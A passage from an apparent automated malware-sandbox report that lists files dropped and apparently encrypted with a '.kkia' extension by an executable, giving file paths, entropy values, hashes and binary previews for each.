Preview:	ZIPXYz.q...C..L.T~...]..d..P;..\|..mV.O..../.p.RD..f...F....Wk. ..i....-..f].a.H.....M....{jR0pi. 's...aN+.K+K..e..s.$.LS......E...(:.?.6.+.O8X.hS....J..2...6.<....3.Y......l....o.k6r........q..r.?~%T..J..9`GG....Vx.X3...z#.......y-{...GC..c7.-.+.}......T.....:.O..J..B....!..nf..w.o0...(..$....N..8.&...K;:..0=...>E.........0.......u..n..\|X]\..Ii.\lx.G.3....=......~..H.[..&...-94....y..w?..a......i4..%.....6....$..... ..+4.#$4W...-....=...94.6Nj...]...23..-/...gp^....z....+...C..3]m..A....q.r04y..........Uw..@......I...,zd...Z.b)../..T.y{..[.}.^....F.l...2.=.l...L^....}....0...u..l....M=._.1lInQ..}rP.4GZ...m.H..\|...`1..-.z]..F.c..e..._R.tc.........Z~?l}........)d7...n.wy..n..l. O6>U..m.x.....=+..X&.......i.m......[E......2Q5f...E....JO(/...6.Y;.`!.PC.-..Ig.....4.b......FW..<...........k.f..X..9..4.k..A.H{....u6.....b..4..........'FMxQn.U....B..Qo.:.....ZQqE..).....2"...<D...UK+..o~.[.....~y.{..^...=*=.....r.W.@.'&5......-3vxg....

C:\Users\user\Documents\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843551354868898
Encrypted:	false
SSDEEP:	24:X05DAAcOltAMRxIn5+YKoTmqycFQvuP0xqGzwQSMdYZUtuwcX3NThbYfiESdwf1J:X0thDAMRD2mqyhusxqG0QSoLe3j4i8fD
MD5:	230186199C85244D0A9AE21DACF94A21
SHA1:	419B914EFEE3C174D9850BF8F4DE3CA2F4DC3BDD
SHA-256:	4A34D5EDA1F6AACD5D5FF4F612499F8079DABC5B5DD3758EB173FE69FBFDFEB4
SHA-512:	E813639EA87259005CAFDD9D5F023FE7BFEA5F726FE73E1F9A8ECCC3C7D14E3F2E2698AD759EBDA160482A719154F8A155AB23517036536E639AA1DCA56734FF
Malicious:	false
Preview:	PALRG..Y.......Ma>+G.i....?.e..Z..M..a_....7...Eap.........].S.J/...#.....p....?..F(.wR.=8.....QP4....c..oD...ya....>..H..r...2......DX.q..41...0p.?..e.......t.._..T.<.E.$&....^.l.>J2....QhkO8]...U.6y...x....u.3.......PpX8..m......g.J...%4.l>b.h^G..'kJQ.(.J:...r.}:}d@..<EK.[..s.j.;.z.E..EJsb^.Q]&..a....].s.6..Z..~?.......0.....o ....YMj.?..Z....o..8..ka...2Yc\|%...0...\|_...h..v6(./....9!..,.\|....lG5..+..................y.8.g~fAW.......[.R).U.....f/9.....>k7o....YZ..6%..A..8A.=...#_.&..?.<7M.....^...%_Y.P......\....!.fw}Q.ql....V.n..H....+.......S.`a..K}.I.by\..dU.sss@vM5.UzI.s.E.4+f3.$.c....'<..pY.qIM.IL.H.m&..@.(..?....#...}.....`.o/..)L..2...)D[.[.q.x...>..'...t.g..../;._.4:.TS1F.s..-."/.db..wW%..p.p.......\....:.e...m.._).K_.........1.^f.jf.8,.r....@S...jc:........Y....[. ....C.6...2.B./..9..zpe0.>...}.c...r.\........M_].wn..I.5..p.......\h'...........h....h.w...P..t.+.....U...M...9K..p..,07.m7........e!.0p....`n.V.....2

C:\Users\user\Documents\PALRGUCVEH.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843551354868898
Encrypted:	false
SSDEEP:	24:X05DAAcOltAMRxIn5+YKoTmqycFQvuP0xqGzwQSMdYZUtuwcX3NThbYfiESdwf1J:X0thDAMRD2mqyhusxqG0QSoLe3j4i8fD
MD5:	230186199C85244D0A9AE21DACF94A21
SHA1:	419B914EFEE3C174D9850BF8F4DE3CA2F4DC3BDD
SHA-256:	4A34D5EDA1F6AACD5D5FF4F612499F8079DABC5B5DD3758EB173FE69FBFDFEB4
SHA-512:	E813639EA87259005CAFDD9D5F023FE7BFEA5F726FE73E1F9A8ECCC3C7D14E3F2E2698AD759EBDA160482A719154F8A155AB23517036536E639AA1DCA56734FF
Malicious:	false
Preview:	PALRG..Y.......Ma>+G.i....?.e..Z..M..a_....7...Eap.........].S.J/...#.....p....?..F(.wR.=8.....QP4....c..oD...ya....>..H..r...2......DX.q..41...0p.?..e.......t.._..T.<.E.$&....^.l.>J2....QhkO8]...U.6y...x....u.3.......PpX8..m......g.J...%4.l>b.h^G..'kJQ.(.J:...r.}:}d@..<EK.[..s.j.;.z.E..EJsb^.Q]&..a....].s.6..Z..~?.......0.....o ....YMj.?..Z....o..8..ka...2Yc\|%...0...\|_...h..v6(./....9!..,.\|....lG5..+..................y.8.g~fAW.......[.R).U.....f/9.....>k7o....YZ..6%..A..8A.=...#_.&..?.<7M.....^...%_Y.P......\....!.fw}Q.ql....V.n..H....+.......S.`a..K}.I.by\..dU.sss@vM5.UzI.s.E.4+f3.$.c....'<..pY.qIM.IL.H.m&..@.(..?....#...}.....`.o/..)L..2...)D[.[.q.x...>..'...t.g..../;._.4:.TS1F.s..-."/.db..wW%..p.p.......\....:.e...m.._).K_.........1.^f.jf.8,.r....@S...jc:........Y....[. ....C.6...2.B./..9..zpe0.>...}.c...r.\........M_].wn..I.5..p.......\h'...........h....h.w...P..t.+.....U...M...9K..p..,07.m7........e!.0p....`n.V.....2

C:\Users\user\Documents\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870432772633638
Encrypted:	false
SSDEEP:	24:yUxKjb8kt6l+YfIGVG4RBna/fRm+mgCttE8OUScYQ7kbD:Xs83l+YfFo4bof8+mv8PvXZD
MD5:	6B7D1524FF38D4AF37E48C7887042909
SHA1:	AC05E94EC9D95DE2F1397E3D4135BDF0DD981A58
SHA-256:	711E5A1D54F2082F2A8832271A6D6AC3C7635EBD54A8A43B8C34505D8A3179A6
SHA-512:	EA5F6EDE100EDBBB933262C69718F334AC9B91AE48D2BC478DD97C5495FEFED73858823702243461D7A353DA243565AC91568CBFD10B93A617A4079A95BD9195
Malicious:	false
Preview:	PALRGa.~_..o..x..I.wb....ov.TU..-z.Du..7!7.g"......nSo..._.:.N.Q..R.b.ha...8.<\|Ic.%..b..&$D.59...wV.2.!F.o.k.8(.....VS..'............R..1.:..2P..F....m.<.y...R......m$."ba..q...q.c..H..=..wv.u.X....^...b.K$...#...c.O.c..Yy.\.....`....._.......bI..=.....O.......w.T.e. .&...rE_1.5...@@...&..j..d....C<p.5r....!v+.;.f1... ....'.A.,.....k...Y1H..F.{.....9..e=s .Bih...D_..x,~5.n....O.......hL..:..5.yZri.`X...=...U.;....P...\|.$..l..+G....E.3.T.Y....:W.=~.>..h......;RK...@.m.Q..o........r...@...j..i...=.58.)......Q?{.UA\......P' (kze......<aV.9...W.w..s..+.X....T.G.........4.P.\|.....".n.E.h..j!R.....[....K...o9..6..y...l^'..X......).......C....x\|..d.K.....W....L..0..#....W..\..g......!..`x...]..n.........2.g+......0.a.#~M."?Q._..i..ewHB..HY......3..bv.........Z'P....f.{.....!..F....s..V....'.g.I.<..3....g...g..E......H....:?..1o.'.W#X....z.^...A3.C...[\._.....6;....o..Uh).O....jxQ.P.\|...fd.Y\.{..9.J~`.$..r;28.>.3TI..y...] .0.T'...+.p....)..

C:\Users\user\Documents\PALRGUCVEH.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870432772633638
Encrypted:	false
SSDEEP:	24:yUxKjb8kt6l+YfIGVG4RBna/fRm+mgCttE8OUScYQ7kbD:Xs83l+YfFo4bof8+mv8PvXZD
MD5:	6B7D1524FF38D4AF37E48C7887042909
SHA1:	AC05E94EC9D95DE2F1397E3D4135BDF0DD981A58
SHA-256:	711E5A1D54F2082F2A8832271A6D6AC3C7635EBD54A8A43B8C34505D8A3179A6
SHA-512:	EA5F6EDE100EDBBB933262C69718F334AC9B91AE48D2BC478DD97C5495FEFED73858823702243461D7A353DA243565AC91568CBFD10B93A617A4079A95BD9195
Malicious:	false
Preview:	PALRGa.~_..o..x..I.wb....ov.TU..-z.Du..7!7.g"......nSo..._.:.N.Q..R.b.ha...8.<\|Ic.%..b..&$D.59...wV.2.!F.o.k.8(.....VS..'............R..1.:..2P..F....m.<.y...R......m$."ba..q...q.c..H..=..wv.u.X....^...b.K$...#...c.O.c..Yy.\.....`....._.......bI..=.....O.......w.T.e. .&...rE_1.5...@@...&..j..d....C<p.5r....!v+.;.f1... ....'.A.,.....k...Y1H..F.{.....9..e=s .Bih...D_..x,~5.n....O.......hL..:..5.yZri.`X...=...U.;....P...\|.$..l..+G....E.3.T.Y....:W.=~.>..h......;RK...@.m.Q..o........r...@...j..i...=.58.)......Q?{.UA\......P' (kze......<aV.9...W.w..s..+.X....T.G.........4.P.\|.....".n.E.h..j!R.....[....K...o9..6..y...l^'..X......).......C....x\|..d.K.....W....L..0..#....W..\..g......!..`x...]..n.........2.g+......0.a.#~M."?Q._..i..ewHB..HY......3..bv.........Z'P....f.{.....!..F....s..V....'.g.I.<..3....g...g..E......H....:?..1o.'.W#X....z.^...A3.C...[\._.....6;....o..Uh).O....jxQ.P.\|...fd.Y\.{..9.J~`.$..r;28.>.3TI..y...] .0.T'...+.p....)..

C:\Users\user\Documents\QCOILOQIKC.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838776302662879
Encrypted:	false
SSDEEP:	24:PCe2fFBF5OJJmGZQnO4dpnjWtguum2ifhQPSGrIsCOtQOtzAm6kbD:PC7fFBTOJlZ54dgtUi5GSGrIsDBtR/D
MD5:	4F93093F46D0075CB799FC57730B3E6F
SHA1:	556089B8047B23273C2D803F6A6FC1170A683461
SHA-256:	99D0772B84C734F23E5E1209D8496D52AF2724E33C4F94806CB3C2EB0D5C4F86
SHA-512:	8BE9D1FF53FA2A7E9FB7840ED9551F26B81868F1960F6D9422DCFEF713A4DB69377A07009F1A92084788E3ED1E694C3844AD552D29F5C6EF8B1B47660D3B32C1
Malicious:	false
Preview:	QCOIL.#..a.!.I]=I~ .P.O....@R{LhHw.{.estT@....q.X........._.O......;R...e_'n.S..S...!...1.h..^G.gO6W...#h.x/M.8.e.....+..>..>J.;sMY.S...~....n....^..."57..~....8...+...m~z..r..p..P...nq>../....PS..../..c7PL..R.l.e.....Gx.k..=..{..{0.7....e.Z..c..f...0.6."n.USC=.. .....T.......;..].4.5.!.^U........]."..+..n.R...y...V.!Yu....v.$..6L..g...rFA!...sOr....l........5..h.......0w.!../.....}.6.a..iQF5......:.f......`.{...5T..;)..E)...?.}b.<...t..'..'T../d...4.!.s.?S.t$.y...[...4...97.F4.....x.k.&.[..}D..c..QW..,cZ...'<Z........r.6!L............8......N.Q.1.jW.(.~..d..:.[h.hp....w9..cV.}...hz.b...M..WF.Y.d........WD.]...L.Q...K..(n...L(...>..k...........Wh.o..,.N(\|q.K[Bo4l......n..y...Mk.d.44..)w.......P.9..h..j0poy.sf..Q.\....H....#+zj.5.:..^).Ip.:O.@...H..t.Z..D..2.S;.1,....1.S.......Cef..dz........@?L5.ox.{2r....:=...^......Ec(...i....U..hUo......p?~......D#U....3h.....#D3;..eM...^W.Fj.....1....1X}.6O.@9...t..R.J.f3lw./r.....i.'....~+...b

C:\Users\user\Documents\QCOILOQIKC.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838776302662879
Encrypted:	false
SSDEEP:	24:PCe2fFBF5OJJmGZQnO4dpnjWtguum2ifhQPSGrIsCOtQOtzAm6kbD:PC7fFBTOJlZ54dgtUi5GSGrIsDBtR/D
MD5:	4F93093F46D0075CB799FC57730B3E6F
SHA1:	556089B8047B23273C2D803F6A6FC1170A683461
SHA-256:	99D0772B84C734F23E5E1209D8496D52AF2724E33C4F94806CB3C2EB0D5C4F86
SHA-512:	8BE9D1FF53FA2A7E9FB7840ED9551F26B81868F1960F6D9422DCFEF713A4DB69377A07009F1A92084788E3ED1E694C3844AD552D29F5C6EF8B1B47660D3B32C1
Malicious:	false
Preview:	QCOIL.#..a.!.I]=I~ .P.O....@R{LhHw.{.estT@....q.X........._.O......;R...e_'n.S..S...!...1.h..^G.gO6W...#h.x/M.8.e.....+..>..>J.;sMY.S...~....n....^..."57..~....8...+...m~z..r..p..P...nq>../....PS..../..c7PL..R.l.e.....Gx.k..=..{..{0.7....e.Z..c..f...0.6."n.USC=.. .....T.......;..].4.5.!.^U........]."..+..n.R...y...V.!Yu....v.$..6L..g...rFA!...sOr....l........5..h.......0w.!../.....}.6.a..iQF5......:.f......`.{...5T..;)..E)...?.}b.<...t..'..'T../d...4.!.s.?S.t$.y...[...4...97.F4.....x.k.&.[..}D..c..QW..,cZ...'<Z........r.6!L............8......N.Q.1.jW.(.~..d..:.[h.hp....w9..cV.}...hz.b...M..WF.Y.d........WD.]...L.Q...K..(n...L(...>..k...........Wh.o..,.N(\|q.K[Bo4l......n..y...Mk.d.44..)w.......P.9..h..j0poy.sf..Q.\....H....#+zj.5.:..^).Ip.:O.@...H..t.Z..D..2.S;.1,....1.S.......Cef..dz........@?L5.ox.{2r....:=...^......Ec(...i....U..hUo......p?~......D#U....3h.....#D3;..eM...^W.Fj.....1....1X}.6O.@9...t..R.J.f3lw./r.....i.'....~+...b

C:\Users\user\Documents\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861393903911015
Encrypted:	false
SSDEEP:	24:6la6I681S2gSHG9Uac7fTujxZY8InqW0QgD53u9mU8yuVe0S5RbfkbD:Ka+KS2PHYd+TuN2YNo87Ve0S5RqD
MD5:	51F3799B38CD8493BAEC669A90A00207
SHA1:	BED2591C43086E430ABF743A643247E4CCC132E4
SHA-256:	70EC40ACF303FA9ADBC65DA638C6987E038094BA06AEFA9A6023E6708426F4CD
SHA-512:	1C6BE42D30F552E73A86D1B58D77398EED13675A5D4603D672B376931B3666248CC44A4FBF250C1172F5C1E2E932944519D665D1479DCA2A6C20C26B852E1DC5
Malicious:	false
Preview:	SQSJK.XiJ./ .C.U..bJQbv.^...W.....H...].x........}\|...(e..nFD.Y...o.....D..EL.6.K.Q.I.L.....$....o.?...Ln.V.Y.9w0.(.@.Y.T..Y..&.fX....:..Ne.u.......3puk.u...U..".)..i..@'A,c...t.Ep.EDYC.....Cu..c.%.z.P{p...:...k..5H.lk...,..U...7.;...re....0....-Q..]Y5R.-y.'.(.......K....dd.ZT.qP_Ff:..."..]".....CR...]..Wo>K.i......>.G..?ALU..E...hj2s..\|/h.."...I....b..d#......@.....qn.....u.=.......}Mf...R.1..Uc.}.99...v.....V...J....D ...g}. .....?m..9.<...d.].....Jp.......X.6iln.`n.......lT...".....!.,..6O.I.v8.S .I...:]P;nCJ`.....+gu.....U..&W.$(3........5.\|....&....r.;Rh_f....<.c,.BF........../....KA..s.C...8+A..o..Tg)9pK......MQ^1....z5..X...).g>Y..M..5.`....,Ru......C}.z...u.z.+...qL....i.. N..}R.1.U....9....`..UB..R.h.]?^......c.Z.A...'....}.M....>6..#..h$~...X)..X.Q......h....c..s...(..V'8.5gq.....t.7...[..g0....!n.E......K......Zp.....O.&.....j.....A.x./ _>......gi.'3...S_. .).pai. ........D.g.X....[N.\W.?..}J.....r..v.0O.....U.w.........

C:\Users\user\Documents\SQSJKEBWDT.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861393903911015
Encrypted:	false
SSDEEP:	24:6la6I681S2gSHG9Uac7fTujxZY8InqW0QgD53u9mU8yuVe0S5RbfkbD:Ka+KS2PHYd+TuN2YNo87Ve0S5RqD
MD5:	51F3799B38CD8493BAEC669A90A00207
SHA1:	BED2591C43086E430ABF743A643247E4CCC132E4
SHA-256:	70EC40ACF303FA9ADBC65DA638C6987E038094BA06AEFA9A6023E6708426F4CD
SHA-512:	1C6BE42D30F552E73A86D1B58D77398EED13675A5D4603D672B376931B3666248CC44A4FBF250C1172F5C1E2E932944519D665D1479DCA2A6C20C26B852E1DC5
Malicious:	false
Preview:	SQSJK.XiJ./ .C.U..bJQbv.^...W.....H...].x........}\|...(e..nFD.Y...o.....D..EL.6.K.Q.I.L.....$....o.?...Ln.V.Y.9w0.(.@.Y.T..Y..&.fX....:..Ne.u.......3puk.u...U..".)..i..@'A,c...t.Ep.EDYC.....Cu..c.%.z.P{p...:...k..5H.lk...,..U...7.;...re....0....-Q..]Y5R.-y.'.(.......K....dd.ZT.qP_Ff:..."..]".....CR...]..Wo>K.i......>.G..?ALU..E...hj2s..\|/h.."...I....b..d#......@.....qn.....u.=.......}Mf...R.1..Uc.}.99...v.....V...J....D ...g}. .....?m..9.<...d.].....Jp.......X.6iln.`n.......lT...".....!.,..6O.I.v8.S .I...:]P;nCJ`.....+gu.....U..&W.$(3........5.\|....&....r.;Rh_f....<.c,.BF........../....KA..s.C...8+A..o..Tg)9pK......MQ^1....z5..X...).g>Y..M..5.`....,Ru......C}.z...u.z.+...qL....i.. N..}R.1.U....9....`..UB..R.h.]?^......c.Z.A...'....}.M....>6..#..h$~...X)..X.Q......h....c..s...(..V'8.5gq.....t.7...[..g0....!n.E......K......Zp.....O.&.....j.....A.x./ _>......gi.'3...S_. .).pai. ........D.g.X....[N.\W.?..}J.....r..v.0O.....U.w.........

C:\Users\user\Documents\SQSJKEBWDT.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863179944668833
Encrypted:	false
SSDEEP:	24:ItCuaTUK91+Htam9m3aNL35Ns58TVf7pAi/u25GJLkbD:ItCuaX9rm9Nls50Vf1LG25iaD
MD5:	6BFE05817B97D47B4D9DF0806BA560EF
SHA1:	54CC2D7E609551CDCEDBA47DEF7A571EE9C31A73
SHA-256:	C4186EC6DC9C70DB8E9D7D461AA20DCD2EDF2722CB6562D689FD78AF81E7A0E9
SHA-512:	459B27846F5AB8EDFDDAD82FCD4B8293E8FECCE210EAF136C559A3EC71A2D65FA8EEE39AC81C64F29904D54D649B4776CF9EBED22F76DFDF41BAD2C791AC6492
Malicious:	false
Preview:	SQSJK.$.o'....$.$].Z.}...#.H..t../k..Ku.^.;..?QD.....RJj.......-K&....Z..&..t....E...h`%<........vt..".x........eE...X..yvoM.S..5m.-.Jw.....A.Q@......@..3..Rh...ZpWC..!...}...j......./...........F.A.y.[g.6...l.i.(...c.X`....L.;..gO.W...-.."..tm[..j......j..7.&...6..a.c.G,..>\..?.<.\...u...PEq.%..3Hd<;..Z.6..R...\9..s4..P......`./m....O...,)......=...M=..+.e..r.\......P$.XQ...p.2..u...p...W...c.Q>...`0.)..6&.. .K.t..y(d-.<.&I.O~lf....-...l"...[Y..-.....^%.FK..T..'.p....,.D..[\..9.....s..I..:...q...4j8..ty.H.5=.. ..R........v.i....P....s..s#...O..9g.....}..q4p%.].y#vxI!.. ..........F.Q...}.35...:..A...aj..U.Q...#..3_..)~....$0..($=..0T......d.k..).xU...Y..U....h....e^.P.b5Rl.O.:...V.O..MV.'.gH....T...f.dj.n ..,8\...f..mf.=F./..E.....@I2Ybgy.......>.)v.S.y.:[v.j.[..0.y.Y.....H..[x.`...[V..?..O..7...d.E.F.EB>_.sd..c.(..g...$3.\...<...!...,M.mR..>..Kp.<b<..^..C....B.a........pH.....%..*p..R....o8\|S\|.I0...^...@... .`......$f:h...........

C:\Users\user\Documents\SQSJKEBWDT.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863179944668833
Encrypted:	false
SSDEEP:	24:ItCuaTUK91+Htam9m3aNL35Ns58TVf7pAi/u25GJLkbD:ItCuaX9rm9Nls50Vf1LG25iaD
MD5:	6BFE05817B97D47B4D9DF0806BA560EF
SHA1:	54CC2D7E609551CDCEDBA47DEF7A571EE9C31A73
SHA-256:	C4186EC6DC9C70DB8E9D7D461AA20DCD2EDF2722CB6562D689FD78AF81E7A0E9
SHA-512:	459B27846F5AB8EDFDDAD82FCD4B8293E8FECCE210EAF136C559A3EC71A2D65FA8EEE39AC81C64F29904D54D649B4776CF9EBED22F76DFDF41BAD2C791AC6492
Malicious:	false
Preview:	SQSJK.$.o'....$.$].Z.}...#.H..t../k..Ku.^.;..?QD.....RJj.......-K&....Z..&..t....E...h`%<........vt..".x........eE...X..yvoM.S..5m.-.Jw.....A.Q@......@..3..Rh...ZpWC..!...}...j......./...........F.A.y.[g.6...l.i.(...c.X`....L.;..gO.W...-.."..tm[..j......j..7.&...6..a.c.G,..>\..?.<.\...u...PEq.%..3Hd<;..Z.6..R...\9..s4..P......`./m....O...,)......=...M=..+.e..r.\......P$.XQ...p.2..u...p...W...c.Q>...`0.)..6&.. .K.t..y(d-.<.&I.O~lf....-...l"...[Y..-.....^%.FK..T..'.p....,.D..[\..9.....s..I..:...q...4j8..ty.H.5=.. ..R........v.i....P....s..s#...O..9g.....}..q4p%.].y#vxI!.. ..........F.Q...}.35...:..A...aj..U.Q...#..3_..)~....$0..($=..0T......d.k..).xU...Y..U....h....e^.P.b5Rl.O.:...V.O..MV.'.gH....T...f.dj.n ..,8\...f..mf.=F./..E.....@I2Ybgy.......>.)v.S.y.:[v.j.[..0.y.Y.....H..[x.`...[V..?..O..7...d.E.F.EB>_.sd..c.(..g...$3.\...<...!...,M.mR..>..Kp.<b<..^..C....B.a........pH.....%..*p..R....o8\|S\|.I0...^...@... .`......$f:h...........

C:\Users\user\Documents\SQSJKEBWDT\EIVQSAOTAQ.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854584302902237
Encrypted:	false
SSDEEP:	24:RvxDVlmbH4+0ePeewLdP0jwH0ORe9m77MsNtnBkHqJL3dmTvbXn1vicy4KkbD:3DrWr0o1wLdcjwFRe9mXMytEqJLEbXnt
MD5:	4F17B5E20EFDAD38381507E5EAD062E3
SHA1:	044CDFD8F38ADEF0C9E23DE3379A1601F04210AA
SHA-256:	E89F5EF1E86276E80F003A2C2B1E8E0DC87774DC8E6ED6B90482CF7ADF507EF6
SHA-512:	7DCEEE1B8C51E337D9FAC5E9BE3EE6686FD1E9991E70CCE93A6E9109FE561DAA750BB1B4762A6FDC91A654889B0BC0A923F89670F809C45FF94EF1729521DAA0
Malicious:	false
Preview:	EIVQS.c....H.......>S. ...!....I.....b.mi...9:V..5.G..U<15......g..._..y...?{V.L...h\|q.P.IS^....OS}.g......gAI'..$S..\..s.tl.4}../iT...7..t&+.6>Q-:.....N.j..L..Q.G...b.......W.....].0..K\|l/...7....4..8O ...TU..%.r&.~....}.2.../...&.....(..l...n.f.r#...G".R....cA..p....7./q...=..i+.~....1...L...4..O...%.g..S&..%g.u.W@C.$.`.......J..Nv[q.e_!b.6...>/./o..5#5;.B.c... h....@?.T......`.h....8...7^...C..>...s....Ip.L..g.....Z=.Q.S<...:{7......5..?..&....wW..~*b./....O@hZx`4Q...S........ ..j.........w..Y.a.....?...:.../8...S{....RyC.Z.'.5......-.T..N....[.].,F.r.\t........8....@.I.....V.._.\|D..._u].t....P`.D ......Mp.....Yj.[..x.-.N......m...&....IVC=jK.s.'..Z.u....;........,...L$(..m ...."...........o..@.f.)>@.....(b....<..#.....x.\.7.xx.....\|y..%m..!..Si.B.ye.V..'..3&.e.M...n1..I..DL..Sx...`\|P9f...%..D.J....9...9.FVIeE{..S................T..zx".......0....@....Su...~..'X...5.B.e...._(...\.T..._..c4...Da....?..O4.X....M.'...j.L.i.

C:\Users\user\Documents\SQSJKEBWDT\EIVQSAOTAQ.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854584302902237
Encrypted:	false
SSDEEP:	24:RvxDVlmbH4+0ePeewLdP0jwH0ORe9m77MsNtnBkHqJL3dmTvbXn1vicy4KkbD:3DrWr0o1wLdcjwFRe9mXMytEqJLEbXnt
MD5:	4F17B5E20EFDAD38381507E5EAD062E3
SHA1:	044CDFD8F38ADEF0C9E23DE3379A1601F04210AA
SHA-256:	E89F5EF1E86276E80F003A2C2B1E8E0DC87774DC8E6ED6B90482CF7ADF507EF6
SHA-512:	7DCEEE1B8C51E337D9FAC5E9BE3EE6686FD1E9991E70CCE93A6E9109FE561DAA750BB1B4762A6FDC91A654889B0BC0A923F89670F809C45FF94EF1729521DAA0
Malicious:	false
Preview:	EIVQS.c....H.......>S. ...!....I.....b.mi...9:V..5.G..U<15......g..._..y...?{V.L...h\|q.P.IS^....OS}.g......gAI'..$S..\..s.tl.4}../iT...7..t&+.6>Q-:.....N.j..L..Q.G...b.......W.....].0..K\|l/...7....4..8O ...TU..%.r&.~....}.2.../...&.....(..l...n.f.r#...G".R....cA..p....7./q...=..i+.~....1...L...4..O...%.g..S&..%g.u.W@C.$.`.......J..Nv[q.e_!b.6...>/./o..5#5;.B.c... h....@?.T......`.h....8...7^...C..>...s....Ip.L..g.....Z=.Q.S<...:{7......5..?..&....wW..~*b./....O@hZx`4Q...S........ ..j.........w..Y.a.....?...:.../8...S{....RyC.Z.'.5......-.T..N....[.].,F.r.\t........8....@.I.....V.._.\|D..._u].t....P`.D ......Mp.....Yj.[..x.-.N......m...&....IVC=jK.s.'..Z.u....;........,...L$(..m ...."...........o..@.f.)>@.....(b....<..#.....x.\.7.xx.....\|y..%m..!..Si.B.ye.V..'..3&.e.M...n1..I..DL..Sx...`\|P9f...%..D.J....9...9.FVIeE{..S................T..zx".......0....@....Su...~..'X...5.B.e...._(...\.T..._..c4...Da....?..O4.X....M.'...j.L.i.

C:\Users\user\Documents\SQSJKEBWDT\EOWRVPQCCS.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860294662863044
Encrypted:	false
SSDEEP:	24:jkwXN2E/ndLcf2rYE9vdhEnmvltShgNwCnI3CgUJiW/na32WJ9wkbD:YwXN2aLcfMNRdWnqzShIRnIKiW/a33/1
MD5:	EEA0AF51735A9ACF891F58C790154D78
SHA1:	61618481E75C8BE2BBB946D606ED3E3CC36D263F
SHA-256:	6CB3DA1040F5906FB23B033AAC252EE19A5D397254F287E62724F6D35AF3C87B
SHA-512:	6A1A5E8EA93F3823B7B0100EC22A42EBCED75568A56BEB0DB2BC6DB47B285A03E9E903F8EE8C9DC2004DFBF0EC1C86ABEF3B499F582A3E66FF915E1E81382642
Malicious:	false
Preview:	EOWRV.m...0..Y_ w.....7...'r.b.28..:.....G..E._..LQ1N..m.........m.-P.<...v2.o.G'..)$.(.....j-....:~-.].ob..i>...<{p..m.e.u..n>..-.m.~....j,...5.J.,vHS0zggAn...x.... ...V..F....".\}K.us=..$.i."....5...2FO.2x.p).B..Y.....>W:.^...=........R...H.#o..;..G.. Z....XG..V.n...%;..S{..7\|..NEl..f_......2UR..6........`..y.Z.{..dj.Od..F.O.pv..8...F..s...b.N..k....A..(]..l...t...KJ...&cX.....7@^g..X.h...\|+.u...,FbY.w.J.$O....."...{K.N....r5.r)Q...k....H....4....;...V[I`t....$r.Z......r~.....t^[w.7...(..\|..:,..t......f....z.2b%~.=.1Q\|b...5S.Q}..u.......e..J.......-...#..(Z..o.....6.....\"n.XaV...?..<..........B.b....Rm.._...k..{.b'TA7...A.a\j.......J;_...c...,\|....:.4...z.}.p.O!-BwI....}.....,..2...t..4.Z..7.;o.h.Tz.T..hi..9...Rp.L.....PTbO.n.>t.T.?.%.....!..'.&KUS.~.....(..N./........n..ZhP..&H#..S..b;.V...Tut.C.H.I.....abm..o._.J...3........5.R.W+q2+0...\......w..{E...@.Q..S4M...CDT......^..^..{.*.d.. $.j.....].f....0.Q1n\m....!..3.v.....

C:\Users\user\Documents\SQSJKEBWDT\EOWRVPQCCS.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860294662863044
Encrypted:	false
SSDEEP:	24:jkwXN2E/ndLcf2rYE9vdhEnmvltShgNwCnI3CgUJiW/na32WJ9wkbD:YwXN2aLcfMNRdWnqzShIRnIKiW/a33/1
